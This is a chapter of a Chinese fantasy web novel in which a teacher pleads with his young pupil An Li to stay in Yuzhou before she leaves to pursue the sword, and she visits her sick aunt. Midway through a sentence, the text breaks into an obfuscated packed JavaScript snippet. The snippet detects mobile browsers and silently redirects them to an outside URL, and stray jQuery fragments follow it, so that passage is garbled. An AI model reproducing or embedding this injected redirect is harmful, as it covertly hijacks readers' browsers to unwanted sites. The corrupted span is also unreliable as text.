“吱呀”一声门响,恍若老人轻叹。
宋然还穿着白日的衣裳,由着小狗扑到怀里,嚎啕大哭,哭的脸上发皴,鼻子眼泪口水混成一团,哭的牙齿上挂着银丝,小手紧抓着他的外衫,还死死的揪住了一块肉。
来的时候想的豪言状语,都不做数。
只是委屈,天大的委屈,委屈的就是死在这里,只剩委屈。
泪流尽了,埋在湿透了的衣衫上,抽噎着打嗝,肚子一紧一紧的,眼睛发酸。
宋然叹口气,这是债。
扯着袖口去擦孩儿的脸,“都是自己的眼泪鼻涕,也不嫌弃。”
“你不是我老师,没资格管我!”
安鲤埋的更紧了,势要溺死自己,手掐的紧紧的,也不让他好过。
“说什么痴话。”
弯身把小孩从揪出来,抱在怀里,十岁的大姑娘了,还真有些抱不动。
抱到书房,备着银耳甜汤,宋然原想把她放到对面的椅子上,起身,腰间的软肉告诉他,不行。
索性就抱着孩子一同坐着,把瓷碗推到小姑娘面前,“哭了那么久,吃点东西吧。”
小姑娘歪头不动,没有人说话。
宋然认命,自己捧着碗,一口一口的喂,教出来个祖宗。
碗见了底,眼睛还是红的像兔子,时不时留下两行清泪。
宋然拿着帕子细细的擦,“安鲤,你有没有想过,我怎么办。”
“我教了你哥哥明川十年,他要回他的钟鸣鼎食之家。日后,不管是平底起高楼,还是高崖坠碎骨,我都不能拦着他,去赴他的锦绣前程。”
“可你不一样,你,年年还有朝岁,都是没了爹娘的孤儿。明川有他的亲爹护着,纵然外人怎么看,打断骨头连着筋,血缘是骗不了人的。他回的是自己家,乌家如此大名,在仙人城,说一声土皇帝也不为过,是真正的世家嫡子、独子、爱子。”
“你有什么呢?”
“禹州城在我的治下,虽不说政明民安,也是安稳平和。就留在禹州城,陪着我,陪着姨姨,做一辈子的学生与老师。等有一天我也没了,把我和你姨姨葬到一处。你就成了书院的夫子,石榴熟了,摘一颗来看我,拂过我们碑上灰尘,除除我们坟头的杂草,这是极好极好的日子。”
“我还有师父…”
还有夫子,还有哥哥,还有朝岁和年年,还有安姨和花花,才不是什么都没有。
宋然抛开肚子讲给她听。
“我们正处于一个灵气没落的时代,你师父的剑悬在梁上多久了,不是不想出鞘,而是不能出鞘,这是耗费心血的事。”
“世人那么多,凭什么由你引雷斗决,都是需要代价的。你师父是个难得的好人,可她有的,也不过是一把剑。她能给你的,也不过是一把剑。”
“这世间的所有道理,靠金钱靠权势。钱在手,死的能说成活的,势在侧,活人眨眼就没了。唯独不能靠一把剑。”
“她当然也可以不动用仙法,十人杀得,百人挡得,可是千人万人呢?”
“她愿意舍弃生命把你们护在怀里,可是安鲤,之后呢?”
你愿意让她舍弃生命吗,好好的一家人,非得死那么几个人,给阎王爷斗趣吗?
“鲤鲤,我是极喜欢你的。我的妻子,你的姨姨,也是极喜欢你的。你姨姨年纪大了,身子越来越不好,每天都盼着你来,携一些欢快的风,带一根诱人的糖葫芦。”
“我虽然总黑着脸,看不惯你的样子。可孩子就像那纸鸢,有风托着平地起,也要有线拽着掌方向。宽以待人,严以教子。一家子里,总要有人扮黑脸儿,涂白脸儿。”
鲤鲤,你以为我的心不痛吗?
都是看着长大的孩子。
鲤鲤,你在拿刀割我的心。
粗糙的大掌拂过翘着发丝的头,以手为梳轻轻理着,哭的头发都乱了。
“鲤鲤,你自小就是个聪明机灵的,我说的话你都明白。在禹州城,你就是把天捅破了,我城门一关,也护的住你。这是多少人梦寐以求的日子,多少人求爷爷告奶奶的好日子。”
等长大了,许个好人家,或许还会生两个像你一样的小娃娃,在院里撒欢儿地跑,抱着石榴树头,隔着老远就大喊,“师爷爷!”
把碎发拢上去,他给安鲤绑了个小小的丸子头,红扑扑的脸蛋,让人无端想到聚香楼的拿手菜,红烧狮子头。
“可是老师,我不愿意的。”
“我想学剑,是要做那书中女侠,惩恶扬善。不是…不是为了困在这禹州城里。”
“我想出去,我想看看外面的模样,我想指剑中原,我想立一番道理。我…我从六岁就开始想了,我要出去的。”
宋然看着这不听话的孩子,他为她骄傲,也为她难过。
“我习武,冬严寒,夏烈火,汗湿透了背,身上青青紫紫没有一块好肉,才知道开心满足是什么模样。我捏着剑,站在梅花桩上,一招一式,剑随心动,方知何为天地人心。”
“剑是为我而生的,我与它,就像凤栖梧桐,两者缺一不可。我喜欢它,尊敬它,我爱它,我愿意的,捏着剑柄,冰冷铬人,就知道自己是谁。”
“我就是想做这件事,要做这件事,一定要,必须要,我能为它豁出去的,我…我是为它而生的。”
宋然不知该说些什么,还能说些什么,什么都不必说了。
他把手臂收紧,闭着眼,仔仔细细的感受着,小姑娘的身子热乎乎的,脸上还带着一点婴儿肥,身子却结实得很,捏着他肉的手纤细有力,又有着习武之人特有的骨节分明。
他忽然有些后悔,把小小的安鲤丢出去的时候,应该更温柔些,那时候晃着屁股到处跑,一定比现在更软,手感也更好些。
“鲤鲤,老师没什么能帮你的了。”
他承认自己的无能,对自己,对孩子,对这个世道。
“去看看你姨姨吧,她很担心你。”
牵着小孩的手往内院走,提着灯笼,明明暗暗的烛火照亮连廊。
灯笼昏暗,只照得亮脚下路,两个人走的也很慢。
夜间更是安静无比,只有两颗炙热的心,冒着湿汗的手紧紧握着。
姨姨依靠在床栏上,闭目养神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130900|194520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,胸前微微起伏着,烛火透过轻纱映在女人的脸上,温柔安静的亲吻着。
已经立夏,屋子里的碳却还没撤,安鲤刚进屋,热浪闷头,上不来气,出了一身汗。
听到动静,美目轻抬,“鲤鲤来啦。”
声音轻弱,落在安鲤软成巢的心上,又红了眼眶,姨姨的身体一年不如一年了。
“好孩子,快过来,让姨姨好好看看你。”
她趴在姨姨的被衾上,仰着头让姨姨仔仔细细的看,微凉的指尖落在长着细小绒毛的脸上,舒服的忍不住蹭。
“都这么大了。”
小时候是个圆脑袋,像个蹴鞠的皮球,支棱着两个小辫子,炸着毛绒绒的头发,挺着红扑扑的小脸蛋儿到处跑。
第一次随哥哥过来玩,还嚼着糖糕,脸上黄糊糊的一片桂花酱,一点都不认生,见了她,眼睛亮晶晶的喊:漂亮姨姨!
她当时就想,多欢快的小丫头。
那时候,脸上都是肉,像蒸的嫩嫩的蛋羹,看不见下巴,一笑起来就是个标准的小福娃。
“瘦了,也好看了。”
婴儿肥只剩下一点点,身上的奶膘全都在做着美梦的深夜化成了有力的手掌,结实的骨头。
也壮实了,只有眼睛,还是那么亮。
“我听你老师说,要出远门啦?”
“嗯…嗯…”
安鲤有些不敢看姨姨的脸,顺着药香挪到姨姨怀里,头顶蹭到一片柔软,定了定,鼻子埋进姨姨温热的小腹,紧贴着脸,歪着头悄悄瞄了眼夫子,果然又黑着个脸。
“东西都收拾好了没有?钱够不够?不够就管你夫子要。衣服一定带些厚的,别贪凉,我有一匹上好的白狐皮,你今天拿了去,垫在屁股底下,坐多久都不累。出门在外,穷家富路,套着破衣裳,怀里揣着金元宝是最要紧事。”
“还有一点,鲤鲤。”
她捧着孩子的脸,一字一顿地说,“答应我,自己是最重要的。”
挣扎着起身,宋学士和安鲤一左一右搀扶着,从梳妆匣子的暗格里,颤着手取出一对繁复重工的金臂钏,雕的是金凤追日,铜子那么大的红宝石衔在凤口,艳丽逼人。
“这对红宝石原是当年你夫子入赘时,我母亲给的贺礼。去年寻了能工巧匠,本想留着做你将来新婚的贺礼。如今看,还是先赠与你,将来的事情将来再看。”
眼皮子地下长大的姑娘,总是格外偏疼些。
“鲤鲤,去了外面。话要在嘴里嚼一嚼再吐出口,事要在心上绕两圈再做决策。落子无悔,别怕。”
她倚在丈夫的胸口上,断断续续的念叨。
太多了,想说的话,太多了。
或许这就是永别了。
宋然送她回去,看着那孩子,躬身作揖,蹦蹦跳跳地跑回去,头上的小丸子摇啊摇,摇摇欲坠,“安鲤!”
“嗯?”
“多给我寄些信来。”
你这关不住的猴子,要记得禹州城。
安鲤垫着脚开门,正对着朝岁黑成碳的脸,吓得一激灵,好悬喊出声来,愤愤地给他一脚,睡觉去了。